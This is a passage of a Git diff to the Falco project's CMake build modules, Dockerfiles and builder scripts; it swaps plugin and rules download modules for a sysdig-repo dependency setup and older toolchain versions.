-        CONFIGURE_COMMAND ""
-        BUILD_COMMAND ""
-        INSTALL_COMMAND "")
-    message(STATUS "Using bundled nlohmann-json in '${NJSON_SRC}'")
-endif()

cmake/modules/plugins.cmake

@@ -1,91 +0,0 @@
-#
-# Copyright (C) 2023 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-include(ExternalProject)
-
-string(TOLOWER ${CMAKE_HOST_SYSTEM_NAME} PLUGINS_SYSTEM_NAME)
-
-if(NOT DEFINED PLUGINS_COMPONENT_NAME)
-    set(PLUGINS_COMPONENT_NAME "${CMAKE_PROJECT_NAME}-plugins")
-endif()
-
-set(PLUGIN_K8S_AUDIT_VERSION "0.5.0")
-if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
-    set(PLUGIN_K8S_AUDIT_HASH "c4abb288df018940be8e548340a74d39623b69142304e01523ea189bc698bc80")
-else() # aarch64
-    set(PLUGIN_K8S_AUDIT_HASH "3bcc849d9f95a3fa519b4592d0947149e492b530fb935a3f98f098e234b7baa7")
-endif()
-
-ExternalProject_Add(
-  k8saudit-plugin
-  URL "https://download.falco.org/plugins/stable/k8saudit-${PLUGIN_K8S_AUDIT_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
-  URL_HASH "SHA256=${PLUGIN_K8S_AUDIT_HASH}"
-  CONFIGURE_COMMAND ""
-  BUILD_COMMAND ""
-  INSTALL_COMMAND "")
-
-install(FILES "${PROJECT_BINARY_DIR}/k8saudit-plugin-prefix/src/k8saudit-plugin/libk8saudit.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
-
-ExternalProject_Add(
-  k8saudit-rules
-  URL "https://download.falco.org/plugins/stable/k8saudit-rules-${PLUGIN_K8S_AUDIT_VERSION}.tar.gz"
-  URL_HASH "SHA256=4383c69ba0ad63a127667c05618c37effc5297e6a7e68a1492acb0e48386540e"
-  CONFIGURE_COMMAND ""
-  BUILD_COMMAND ""
-  INSTALL_COMMAND "")
-
-install(FILES "${PROJECT_BINARY_DIR}/k8saudit-rules-prefix/src/k8saudit-rules/k8s_audit_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
-
-set(PLUGIN_CLOUDTRAIL_VERSION "0.7.0")
-if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
-    set(PLUGIN_CLOUDTRAIL_HASH "85d94d8f5915804d5a30ff2f056e51de27d537f1fd1115050b4f4be6d32588cf")
-else() # aarch64
-    set(PLUGIN_CLOUDTRAIL_HASH "61ae471ee41e76680da9ab66f583d1ec43a2e48fbad8c157caecef56e4aa5fb7")
-endif()
-
-ExternalProject_Add(
-  cloudtrail-plugin
-  URL "https://download.falco.org/plugins/stable/cloudtrail-${PLUGIN_CLOUDTRAIL_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
-  URL_HASH "SHA256=${PLUGIN_CLOUDTRAIL_HASH}"
-  CONFIGURE_COMMAND ""
-  BUILD_COMMAND ""
-  INSTALL_COMMAND "")
-
-install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-plugin-prefix/src/cloudtrail-plugin/libcloudtrail.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
-
-ExternalProject_Add(
-  cloudtrail-rules
-  URL "https://download.falco.org/plugins/stable/cloudtrail-rules-${PLUGIN_CLOUDTRAIL_VERSION}.tar.gz"
-  URL_HASH "SHA256=c805be29ddc14fbffa29f7d6ee4f7e968a3bdb42da5f5483e5e6de273e8850c8"
-  CONFIGURE_COMMAND ""
-  BUILD_COMMAND ""
-  INSTALL_COMMAND "")
-
-  install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-rules-prefix/src/cloudtrail-rules/aws_cloudtrail_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
-
-set(PLUGIN_JSON_VERSION "0.6.0")
-if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
-    set(PLUGIN_JSON_HASH "15fb7eddd978e8bb03f05412e9446e264e4548d7423b3d724b99d6d87a8c1b27")
-else() # aarch64
-    set(PLUGIN_JSON_HASH "4db23f35a750e10a5b7b54c9aa469a7587705e7faa22927e941b41f3c5533e9f")
-endif()
-
-ExternalProject_Add(
-  json-plugin
-  URL "https://download.falco.org/plugins/stable/json-${PLUGIN_JSON_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
-  URL_HASH "SHA256=${PLUGIN_JSON_HASH}"
-  CONFIGURE_COMMAND ""
-  BUILD_COMMAND ""
-  INSTALL_COMMAND "")
-
-install(FILES "${PROJECT_BINARY_DIR}/json-plugin-prefix/src/json-plugin/libjson.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")

cmake/modules/rules.cmake

@@ -1,70 +0,0 @@
-#
-# Copyright (C) 2023 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-include(GNUInstallDirs)
-include(ExternalProject)
-
-# falco_rules.yaml
-set(FALCOSECURITY_RULES_FALCO_VERSION "falco-rules-0.1.0")
-set(FALCOSECURITY_RULES_FALCO_CHECKSUM "SHA256=0d3705a4650f09d10e7831b16e7af59c1da34ff19e788896e9ee77010014db4d")
-set(FALCOSECURITY_RULES_FALCO_PATH "${PROJECT_BINARY_DIR}/falcosecurity-rules-falco-prefix/src/falcosecurity-rules-falco/falco_rules.yaml")
-ExternalProject_Add(
-  falcosecurity-rules-falco
-  URL "https://download.falco.org/rules/${FALCOSECURITY_RULES_FALCO_VERSION}.tar.gz"
-  URL_HASH "${FALCOSECURITY_RULES_FALCO_CHECKSUM}"
-  CONFIGURE_COMMAND ""
-  BUILD_COMMAND ""
-  INSTALL_COMMAND ""
-  TEST_COMMAND ""
-)
-
-# falco_rules.local.yaml
-set(FALCOSECURITY_RULES_LOCAL_PATH "${PROJECT_BINARY_DIR}/falcosecurity-rules-local-prefix/falco_rules.local.yaml")
-file(WRITE "${FALCOSECURITY_RULES_LOCAL_PATH}" "# Your custom rules!\n")
-
-if(NOT DEFINED FALCO_ETC_DIR)
-  set(FALCO_ETC_DIR "${CMAKE_INSTALL_FULL_SYSCONFDIR}/falco")
-endif()
-
-if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
-  set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
-  set(FALCO_LOCAL_RULES_DEST_FILENAME "falco_rules.local.yaml")
-endif()
-
-if(DEFINED FALCO_COMPONENT) # Allow a slim version of Falco to be embedded in other projects, intentionally *not* installing all rulesets.
-  install(
-    FILES "${FALCOSECURITY_RULES_FALCO_PATH}"
-    COMPONENT "${FALCO_COMPONENT}"
-    DESTINATION "${FALCO_ETC_DIR}"
-    RENAME "${FALCO_RULES_DEST_FILENAME}")
-
-  install(
-    FILES "${FALCOSECURITY_RULES_LOCAL_PATH}"
-    COMPONENT "${FALCO_COMPONENT}"
-    DESTINATION "${FALCO_ETC_DIR}"
-    RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
-else() # Default Falco installation
-  install(
-    FILES "${FALCOSECURITY_RULES_FALCO_PATH}"
-    DESTINATION "${FALCO_ETC_DIR}"
-    RENAME "${FALCO_RULES_DEST_FILENAME}"
-    COMPONENT "${FALCO_COMPONENT_NAME}")
-
-  install(
-    FILES "${FALCOSECURITY_RULES_LOCAL_PATH}"
-    DESTINATION "${FALCO_ETC_DIR}"
-    RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}"
-    COMPONENT "${FALCO_COMPONENT_NAME}")
-
-  install(DIRECTORY DESTINATION "${FALCO_ETC_DIR}/rules.d" COMPONENT "${FALCO_COMPONENT_NAME}")
-endif()

cmake/modules/static-analysis.cmake

@@ -1,42 +0,0 @@
-# create the reports folder
-file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports)
-file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck)
-
-# cppcheck
-mark_as_advanced(CPPCHECK CPPCHECK_HTMLREPORT)
-find_program(CPPCHECK cppcheck)
-find_program(CPPCHECK_HTMLREPORT cppcheck-htmlreport)
-
-if(NOT CPPCHECK)
-  message(STATUS "cppcheck command not found, static code analysis using cppcheck will not be available.")
-else()
-  message(STATUS "cppcheck found at: ${CPPCHECK}")
-  # we are aware that cppcheck can be run
-  # along with the software compilation in a single step
-  # using the CMAKE_CXX_CPPCHECK variables.
-  # However, for practical needs we want to keep the
-  # two things separated and have a specific target for it.
-  # Our cppcheck target reads the compilation database produced by CMake
-  set(CMAKE_EXPORT_COMPILE_COMMANDS On)
-  add_custom_target(
-      cppcheck
-      COMMAND ${CPPCHECK}
-      "--enable=all"
-      "--force"
-      "--inconclusive"
-      "--inline-suppr" # allows to specify suppressions directly in source code
-      "--xml" # we want to generate a report
-      "--output-file=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck/cppcheck.xml" # generate the report under the reports folder in the build folder
-      "-i${CMAKE_CURRENT_BINARY_DIR}"# exclude the build folder
-      "${CMAKE_SOURCE_DIR}"
-  )
-endif() # CPPCHECK
-
-if(NOT CPPCHECK_HTMLREPORT)
-  message(STATUS "cppcheck-htmlreport command not found, will not be able to produce html reports for cppcheck results")
-else()
-  message(STATUS "cppcheck-htmlreport found at: ${CPPCHECK_HTMLREPORT}")
-  add_custom_target(
-    cppcheck_htmlreport
-    COMMAND ${CPPCHECK_HTMLREPORT} --title=${CMAKE_PROJECT_NAME} --report-dir=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck --file=static-analysis-reports/cppcheck/cppcheck.xml)
-endif() # CPPCHECK_HTMLREPORT

cmake/modules/sysdig-repo/CMakeLists.txt

@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2019 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+cmake_minimum_required(VERSION 3.5.1)
+
+project(sysdig-repo NONE)
+
+include(ExternalProject)
+
+# The sysdig git reference (branch name, commit hash, or tag)
+
+# To update sysdig version for the next release, change the default below
+# In case you want to test against another sysdig version just pass the variable - ie., `cmake -DSYSDIG_VERSION=dev ..`
+if(NOT SYSDIG_VERSION)
+  set(SYSDIG_VERSION "146a431edf95829ac11bfd9c85ba3ef08789bffe")
+endif()
+
+ExternalProject_Add(
+  sysdig
+  URL "https://github.com/draios/sysdig/archive/${SYSDIG_VERSION}.tar.gz"
+  # URL_HASH SHA256=bd09607aa8beb863db07e695863f7dc543e2d39e7153005759d26a340ff66fa5
+  CONFIGURE_COMMAND ""
+  BUILD_COMMAND ""
+  INSTALL_COMMAND ""
+  TEST_COMMAND "")

cmake/modules/sysdig.cmake

@@ -0,0 +1,57 @@
+#
+# Copyright (C) 2019 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+
+set(SYSDIG_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/sysdig-repo")
+set(SYSDIG_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/sysdig-repo")
+
+# this needs to be here at the top
+if(USE_BUNDLED_DEPS)
+  # explicitly force this dependency to use the system OpenSSL
+  set(USE_BUNDLED_OPENSSL ON)
+endif()
+
+file(MAKE_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
+# cd /path/to/build && cmake /path/to/source
+execute_process(COMMAND "${CMAKE_COMMAND}" ${SYSDIG_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
+
+# todo(leodido, fntlnz) > use the following one when CMake version will be >= 3.13
+
+# execute_process(COMMAND "${CMAKE_COMMAND}" -B ${SYSDIG_CMAKE_WORKING_DIR} WORKING_DIRECTORY
+# "${SYSDIG_CMAKE_SOURCE_DIR}")
+
+execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${SYSDIG_CMAKE_WORKING_DIR}")
+set(SYSDIG_SOURCE_DIR "${SYSDIG_CMAKE_WORKING_DIR}/sysdig-prefix/src/sysdig")
+
+# jsoncpp
+set(JSONCPP_SRC "${SYSDIG_SOURCE_DIR}/userspace/libsinsp/third-party/jsoncpp")
+set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
+set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
+
+# Add driver directory
+add_subdirectory("${SYSDIG_SOURCE_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
+
+# Add libscap directory
+add_definitions(-D_GNU_SOURCE)
+add_definitions(-DHAS_CAPTURE)
+add_subdirectory("${SYSDIG_SOURCE_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
+
+# Add libsinsp directory
+add_subdirectory("${SYSDIG_SOURCE_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
+add_dependencies(sinsp tbb b64 luajit)
+
+# explicitly disable the tests of this dependency
+set(CREATE_TEST_TARGETS OFF)
+
+if(USE_BUNDLED_DEPS)
+  add_dependencies(scap grpc curl jq)
+endif()

cmake/modules/yaml-cpp.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2020 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at
@@ -10,7 +10,6 @@
 # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
 # specific language governing permissions and limitations under the License.
 #
-mark_as_advanced(YAMLCPP_INCLUDE_DIR YAMLCPP_LIB)
 if(NOT USE_BUNDLED_DEPS)
   find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
   find_library(YAMLCPP_LIB NAMES yaml-cpp)
@@ -19,7 +18,6 @@ if(NOT USE_BUNDLED_DEPS)
   else()
     message(FATAL_ERROR "Couldn't find system yamlcpp")
   endif()
-  add_custom_target(yamlcpp)
 else()
   set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
   message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
@@ -28,8 +26,7 @@ else()
   ExternalProject_Add(
     yamlcpp
     URL "https://github.com/jbeder/yaml-cpp/archive/yaml-cpp-0.6.2.tar.gz"
-    URL_HASH "SHA256=e4d8560e163c3d875fd5d9e5542b5fd5bec810febdcba61481fe5fc4e6b1fd05"
-    BUILD_BYPRODUCTS ${YAMLCPP_LIB}
+    URL_MD5 "5b943e9af0060d0811148b037449ef82"
     BUILD_IN_SOURCE 1
     INSTALL_COMMAND "")
 endif()

docker/OWNERS

@@ -1,5 +1,2 @@
 labels:
-  - area/integration
-approvers:
-  - leogr
-
+  - area/integration

docker/README.md

@@ -1,17 +1,30 @@
 # Falco Dockerfiles
 
-This directory contains various ways to package Falco as a container and related tools.
+This directory contains the various ways to package Falco as a container. 
 
-## Currently Supported Images
+## Currently Supported Containers
 
-| Name | Directory | Description |
-|---|---|---|
-| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/falco | Falco (DEB built from git tag or from the master) with all the building toolchain. |
-| _not yet published (experimental)_ | docker/ubi | Falco (built from RedHat's UBI base image) with the building toolchain. |
-| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. |
-| [falcosecurity/falco-no-driver:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver), [falcosecurity/falco-no-driver:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver),[falcosecurity/falco-no-driver:master](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver) | docker/no-driver | Falco (TGZ built from git tag or from the master) without the building toolchain. |
-| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/getting-started/source/) for more details on building from source. Used to build Falco (CI). |
-| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
-| _not to be published_ | docker/local | Built on-the-fly and used by falco-tester. |
+### `falcosecurity/falco` Dockerfiles
+ - `./dev`: Builds a container image from the `dev` apt repo.
+ - `./stable`: Builds a container image from the `stable` apt repo.
+ - `./local`: Builds a container image from a locally provided Falco `dpkg` package.
+
+### Build & Testing Dockerfiles
+ - `./builder`: `falcosecurity/falco-builder` - The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source.
+ - `./tester`: `falcosecurity/falco-tester` - Container image for running the Falco test suite.
+
+## Alpha Release Containers
+
+These Dockerfiles (and resulting container images) are currently in `alpha`. We'd love for you to test these images and [report any feedback](https://github.com/falcosecurity/falco/issues/new/choose).
+
+### Slim and Minimal Dockerfiles
+The goal of these container images is to reduce the size of the underlying Falco container. 
+ - `./slim-dev`: Like `./dev` above but removes build tools for older kernels.
+ - `./slim-stable`: Like `./stable` above but removes build tools for older kernels.
+ - `./minimal`: A minimal container image (~20mb), containing only the files required to run Falco.
+
+### Init Containers
+These container images allow for the delivery of the kernel module or eBPF probe either via HTTP or via a container image.
+ - `kernel/linuxkit`: Multistage Dockerfile to build a Falco kernel module for Linuxkit (Docker Desktop). Generates an alpine based container image with the kernel module, and `insmod` as the container `CMD`.  
+ - `kernel/probeloader`: Multistage Dockerfile to build a Go based application to download (via HTTPS) and load a Falco kernel module. The resulting container image can be ran as an `initContainer` to load the Falco module before Falco starts.
 
-> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.

docker/builder/Dockerfile

@@ -2,7 +2,7 @@ FROM centos:7
 
 LABEL name="falcosecurity/falco-builder"
 LABEL usage="docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake"
-LABEL maintainer="cncf-falco-dev@lists.cncf.io"
+LABEL maintainer="opensource@sysdig.com"
 
 ARG BUILD_TYPE=release
 ARG BUILD_DRIVER=OFF
@@ -10,7 +10,6 @@ ARG BUILD_BPF=OFF
 ARG BUILD_WARNINGS_AS_ERRORS=ON
 ARG MAKE_JOBS=4
 ARG FALCO_VERSION
-ARG CMAKE_VERSION=3.22.5
 
 ENV BUILD_TYPE=${BUILD_TYPE}
 ENV BUILD_DRIVER=${BUILD_DRIVER}
@@ -18,22 +17,22 @@ ENV BUILD_BPF=${BUILD_BPF}
 ENV BUILD_WARNINGS_AS_ERRORS=${BUILD_WARNINGS_AS_ERRORS}
 ENV MAKE_JOBS=${MAKE_JOBS}
 ENV FALCO_VERSION=${FALCO_VERSION}
-ENV CMAKE_VERSION=${CMAKE_VERSION}
 
 # build toolchain
 RUN yum -y install centos-release-scl && \
-    INSTALL_PKGS="devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-toolchain devtoolset-7-libstdc++-devel llvm-toolset-7.0 glibc-static autoconf automake libtool createrepo expect git which libcurl-devel rpm-build libyaml-devel" && \
+    INSTALL_PKGS="devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-toolchain devtoolset-7-libstdc++-devel devtoolset-7-elfutils-libelf-devel llvm-toolset-7 glibc-static autoconf automake libtool createrepo expect git which libcurl-devel zlib-devel ncurses-devel rpm-build libyaml-devel" && \
     yum -y install --setopt=tsflags=nodocs $INSTALL_PKGS && \
     rpm -V $INSTALL_PKGS
 
-
-RUN source scl_source enable devtoolset-7 llvm-toolset-7.0
-
-RUN curl -L -o /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz https://github.com/kitware/cmake/releases/download/v${CMAKE_VERSION}/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
-    gzip -d /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
-    tar -xpf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar --directory=/tmp && \
-    cp -R /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)/* /usr && \
-    rm -rf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)
+ARG CMAKE_VERSION=3.5.1
+RUN source scl_source enable devtoolset-7 llvm-toolset-7 && \
+    cd /tmp && \
+    curl -L https://github.com/kitware/cmake/releases/download/v${CMAKE_VERSION}/cmake-${CMAKE_VERSION}.tar.gz | tar xz; \
+    cd cmake-${CMAKE_VERSION} && \
+    ./bootstrap --system-curl && \
+    make -j${MAKE_JOBS} && \
+    make install && \
+    rm -rf /tmp/cmake-${CMAKE_VERSION}
 
 COPY ./root /
 

docker/builder/README.md

@@ -1,8 +0,0 @@
-# Builder folder
-
-* We use `Dockerfile` to build the `centos7` Falco builder image.
-* We use `modern-falco-builder.Dockerfile` to build Falco with the modern probe and return it as a Dockerfile output. This Dockerfile doesn't generate a Docker image but returns as output (through the `--output` command):
-  * Falco `tar.gz`.
-  * Falco `deb` package.
-  * Falco `rpm` package.
-  * Falco build directory, used by other CI jobs.

docker/builder/modern-falco-builder.Dockerfile

@@ -1,60 +0,0 @@
-
-FROM centos:7 AS build-stage
-
-# To build Falco you need to pass the cmake option
-ARG CMAKE_OPTIONS=""
-ARG MAKE_JOBS=6
-
-# Install all the dependencies
-WORKDIR /
-
-RUN yum -y install centos-release-scl; \
-    yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++; \
-    source scl_source enable devtoolset-9; \
-    yum install -y git wget make m4 rpm-build
-
-# With some previous cmake versions it fails when downloading `zlib` with curl in the libs building phase
-RUN curl -L -o /tmp/cmake.tar.gz https://github.com/Kitware/CMake/releases/download/v3.22.5/cmake-3.22.5-linux-$(uname -m).tar.gz; \
-    gzip -d /tmp/cmake.tar.gz; \
-    tar -xpf /tmp/cmake.tar --directory=/tmp; \
-    cp -R /tmp/cmake-3.22.5-linux-$(uname -m)/* /usr; \
-    rm -rf /tmp/cmake-3.22.5-linux-$(uname -m)/
-
-# Copy Falco folder from the build context
-COPY . /source
-WORKDIR /build/release
-
-RUN source scl_source enable devtoolset-9; \
-    cmake ${CMAKE_OPTIONS} /source; \
-    make falco -j${MAKE_JOBS}
-RUN make package
-
-# We need `make all` for integration tests.
-RUN make all -j${MAKE_JOBS}
-
-FROM scratch AS export-stage
-
-ARG DEST_BUILD_DIR="/build"
-
-COPY --from=build-stage /build/release/falco-*.tar.gz /packages/
-COPY --from=build-stage /build/release/falco-*.deb /packages/
-COPY --from=build-stage /build/release/falco-*.rpm /packages/
-
-# This is what we need for integration tests. We don't export all the build directory
-# outside the container since its size is almost 6 GB, we export only what is strictly necessary
-# for integration tests.
-# This is just a workaround to fix the CI build until we replace our actual testing framework.
-COPY --from=build-stage /build/release/cloudtrail-plugin-prefix ${DEST_BUILD_DIR}/cloudtrail-plugin-prefix
-COPY --from=build-stage /build/release/cloudtrail-rules-prefix ${DEST_BUILD_DIR}/cloudtrail-rules-prefix
-COPY --from=build-stage /build/release/falcosecurity-rules-falco-prefix ${DEST_BUILD_DIR}/falcosecurity-rules-falco-prefix
-COPY --from=build-stage /build/release/falcosecurity-rules-local-prefix ${DEST_BUILD_DIR}/falcosecurity-rules-local-prefix
-COPY --from=build-stage /build/release/json-plugin-prefix ${DEST_BUILD_DIR}/json-plugin-prefix
-COPY --from=build-stage /build/release/k8saudit-plugin-prefix ${DEST_BUILD_DIR}/k8saudit-plugin-prefix
-COPY --from=build-stage /build/release/k8saudit-rules-prefix ${DEST_BUILD_DIR}/k8saudit-rules-prefix
-COPY --from=build-stage /build/release/scripts ${DEST_BUILD_DIR}/scripts
-COPY --from=build-stage /build/release/test ${DEST_BUILD_DIR}/test
-COPY --from=build-stage /build/release/userspace/falco/falco ${DEST_BUILD_DIR}/userspace/falco/falco
-COPY --from=build-stage /build/release/userspace/falco/config_falco.h ${DEST_BUILD_DIR}/userspace/falco/config_falco.h
-COPY --from=build-stage /build/release/falco-*.tar.gz ${DEST_BUILD_DIR}/
-COPY --from=build-stage /build/release/falco-*.deb ${DEST_BUILD_DIR}/
-COPY --from=build-stage /build/release/falco-*.rpm ${DEST_BUILD_DIR}/

docker/builder/root/usr/bin/entrypoint

@@ -9,10 +9,10 @@ shift
 
 # Build type can be "debug" or "release", fallbacks to "release" by default
 BUILD_TYPE=$(echo "$BUILD_TYPE" | tr "[:upper:]" "[:lower:]")
-FALCO_EXTRA_DEBUG_FLAGS=
+DRAIOS_DEBUG_FLAGS=
 case "$BUILD_TYPE" in
 "debug")
-    FALCO_EXTRA_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"
+    DRAIOS_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"
     ;;
 *)
     BUILD_TYPE="release"
@@ -37,7 +37,7 @@ case "$CMD" in
     -DBUILD_BPF="$BUILD_BPF" \
     -DBUILD_WARNINGS_AS_ERRORS="$BUILD_WARNINGS_AS_ERRORS" \
     -DFALCO_VERSION="$FALCO_VERSION" \
-    -DFALCO_EXTRA_DEBUG_FLAGS="$FALCO_EXTRA_DEBUG_FLAGS" \
+    -DDRAIOS_DEBUG_FLAGS="$DRAIOS_DEBUG_FLAGS" \
     -DUSE_BUNDLED_DEPS=ON \
     "$SOURCE_DIR/falco"
     exit "$(printf '%d\n' $?)"

docker/builder/root/usr/bin/scl_enable

@@ -1,6 +1,6 @@
 # IMPORTANT: Do not add more content to this file unless you know what you are doing.
-#            This file is sourced every time the shell session is opened.
+#            This file is sourced everytime the shell session is opened.
 #
 # This will make scl collection binaries work out of box.
 unset BASH_ENV PROMPT_COMMAND ENV
-source scl_source enable devtoolset-7 llvm-toolset-7.0
+source scl_source enable devtoolset-7 llvm-toolset-7

docker/builder/root/usr/bin/usage

@@ -18,7 +18,7 @@ How to use.
     * docker run -ti falcosecurity/falco-builder bash
 
     To build Falco it needs:
-    - a bind-mount on the source directory (ie., the directory containing the Falco source as sibling)
+    - a bind-mount on the source directory (ie., the directory containing Falco and sysdig source as siblings)
 
     Optionally, you can also bind-mount the build directory.
     So, you can execute it from the Falco root directory as follows.

docker/dev/Dockerfile

@@ -0,0 +1,110 @@
+FROM debian:unstable
+
+LABEL maintainer="opensource@sysdig.com"
+
+ENV FALCO_REPOSITORY dev
+
+LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
+
+ENV HOST_ROOT /host
+
+ENV HOME /root
+
+RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
+
+ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
+
+RUN apt-get update \
+	&& apt-get install -y --no-install-recommends \
+	bash-completion \
+	bc \
+	clang-7 \
+	ca-certificates \
+	curl \
+	dkms \
+	gnupg2 \
+	gcc \
+	gdb \
+	jq \
+	libc6-dev \
+	libelf-dev \
+	llvm-7 \
+	netcat \
+	xz-utils \
+	&& rm -rf /var/lib/apt/lists/*
+
+# gcc 6 is no longer included in debian unstable, but we need it to
+# build kernel modules on the default debian-based ami used by
+# kops. So grab copies we've saved from debian snapshots with the
+# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
+# or so.
+
+RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
